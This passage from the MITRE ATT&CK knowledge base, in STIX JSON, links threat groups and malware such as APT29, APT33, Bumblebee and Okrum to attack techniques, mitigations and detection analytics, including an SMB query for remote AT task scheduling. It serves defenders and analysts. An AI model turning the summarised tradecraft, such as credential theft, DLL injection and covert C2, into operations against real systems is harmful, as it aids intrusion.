ybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:20:49.108Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3b881d5f-c863-4146-9e1a-4b1682030b29","created":"2022-06-16T19:04:44.636Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logging that may suggest a list of available groups and/or their associated settings has been extracted, ex. Windows EID 4798 and 4799.","modified":"2022-06-16T19:04:44.636Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b883930-6ab6-40df-a652-956c2524f300","type":"relationship","created":"2019-12-19T19:43:34.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-19T21:22:38.148Z","description":"Patch the BIOS and EFI as necessary.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b8be7a1-07b7-4e59-8435-c584a09972a5","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b947696-f88a-4e6b-b408-b9f91c3cecdf","created":"2022-09-30T15:34:41.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T18:43:03.146Z","description":"[Mori](https://attack.mitre.org/software/S1047) can use `regsvr32.exe` for DLL execution.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b967933-da99-40a4-9bd5-e8238e8d46c3","created":"2019-09-09T17:10:57.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.494Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has executed a .command script from a hidden directory in a mounted DMG.(Citation: Carbon Black Shlayer Feb 2019)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.443Z","description":"[Sakula](https://attack.mitre.org/software/S0074) uses HTTP for C2.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3b9f9fae-f68a-419b-9551-5485f8851500","created":"2022-07-07T14:17:38.865Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used cloud services, including OneDrive, for data exfiltration.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:20:45.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2020-03-16T17:11:22.884Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) is capable of providing Meterpreter shell access.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ba8d601-f3f3-4ab8-b851-0c9dcfa53bc5","type":"relationship","created":"2020-12-28T22:09:15.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.767Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can execute commands via the command line utility.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bab7405-b111-4272-a12c-0b1db8dcb5f8","created":"2023-08-11T21:13:52.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:59:35.841Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. When AT.exe is used to remotely schedule tasks, Windows uses named pipes over SMB to communicate with the API on the remote machine. After authentication over SMB, the Named Pipe ATSVC is opened, over which the JobAdd function is called. On the remote host, the job files are created by the Task Scheduler and follow the convention C:\\Windows\\System32\\AT.\n\nThis pipe activity could be discovered with a network decoder, such as that in wireshark, that can inspect SMB traffic to identify the use of pipes. It could also be detected by looking for raw packet capture streams or from a custom sensor on the host that hooks the appropriate API functions. If no network or API level of visibility is possible, this traffic may inferred by looking at SMB connections over 445/tcp followed by the creation of files matching the pattern C:\\Windows\\System32\\AT\\.\n\nTo detect AT via network traffic, a sensor is needed that has the ability to extract and decode PCAP information. Specifically, it needs to properly decode SMB and the functions that are implemented over it via NamedPipes. If a sensor meets these criteria, then the PCAP data needs to search for instances of the command JobAdd over the pipe ATSVC, which is all implemented over Windows SMB 445/tcp.\n\nAnalytic 1 - Remotely Scheduled Tasks via AT\n\nindex=network dest_port=445 protocol=\"smb\" pipe=\"ATSVC\" command=\"JobAdd\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3baf9dda-1286-4a3b-874b-7a04f0172aae","type":"relationship","created":"2020-03-19T22:16:54.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-19T22:16:54.843Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bb1eae7-1653-4a38-9b4b-6bd93503f6ca","created":"2024-07-01T21:08:17.793Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:08:17.793Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can identify shared resources in compromised environments.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bc431bd-f093-4daf-b264-e73f1fcf591a","type":"relationship","created":"2020-06-24T12:42:35.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:22:19.741Z","description":"Restrict access to the authorized_keys file.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bc57dac-c8b3-4d6d-8f4c-3e7d515cdf87","type":"relationship","created":"2020-01-30T14:24:35.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/hfiref0x/UACME","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","source_name":"Github UACMe"}],"modified":"2022-01-06T18:26:18.576Z","description":"Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.(Citation: Github UACMe)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bca1b9e-c598-494a-9471-0121734e7c79","created":"2024-09-24T18:52:40.492Z","revoked":false,"external_references":[{"source_name":"ESET Okrum July 2019","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T18:52:40.492Z","description":"Okrum leverages the HTTP protocol for C2 communication, while hiding the actual messages in the Cookie and Set-Cookie headers of the HTTP requests.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bcce871-6b9d-4eaf-9364-80dea3cb7ef9","created":"2022-08-24T14:41:49.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T14:32:08.258Z","description":"The [Bumblebee](https://attack.mitre.org/software/S1039) loader can support the `Dij` command which gives it the ability to inject DLLs into the memory of other processes.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bcfc38f-5fe8-4c66-8352-d3ba71c4f3ec","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2019-04-25T11:39:52.119Z","description":"[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bd11b5b-4dba-4612-98e0-0f3e18686123","created":"2023-03-28T19:05:12.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-08T17:07:34.600Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has enrolled their own devices into compromised cloud tenants, including enrolling a device in MFA to an Azure AD environment following a successful password guessing attack against a dormant account.(Citation: Mandiant APT29 Microsoft 365 2022)(Citation: NCSC et al APT29 2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bd4bd69-b1f6-426a-a63f-b8107eb57f8e","type":"relationship","created":"2020-10-22T19:06:15.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"PWC WellMess C2 August 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."}],"modified":"2020-10-22T19:06:15.622Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has created self-signed digital certificates to enable mutual TLS authentication for malware.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3bd6c03b-3ae4-4061-a3ce-7a90a62a0e1e","created":"2022-06-09T14:59:53.259Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can collect IP addresses from a compromised host.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:59:53.259Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bd9165f-6f5f-4c1a-bdbf-47c733d577a8","type":"relationship","created":"2020-05-08T18:41:16.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-20T20:54:12.954Z","description":"[Inception](https://attack.mitre.org/groups/G0100) used chains of compromised routers to proxy C2 communications between them and cloud service providers.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bda9db3-3532-429c-86a4-8ff3ee32f59f","created":"2019-01-29T19:36:02.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GovCERT Carbon May 2016","description":"GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.","url":"https://web.archive.org/web/20170718174931/https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-19T18:36:51.866Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses the net group command.(Citation: GovCERT Carbon May 2016)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bdacd96-1c94-4af2-b0b3-d44542c31ccd","created":"2022-10-13T14:50:32.626Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:50:32.626Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used OneDrive and MediaFire to host payloads.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bdb0dad-0c0c-4ced-bac1-8a9c5c89bb09","created":"2023-09-07T21:48:42.771Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-07T21:48:42.771Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bdfb695-b617-47ba-bfad-30ccf7f0ee92","type":"relationship","created":"2021-03-17T20:33:20.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-17T20:33:20.224Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3be08ed9-951a-4686-9f60-114f0468325d","created":"2023-08-17T19:16:00.287Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:16:00.287Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has stolen data from compromised hosts.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3be1275c-6c07-4ddd-93d7-2fd11300243b","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted 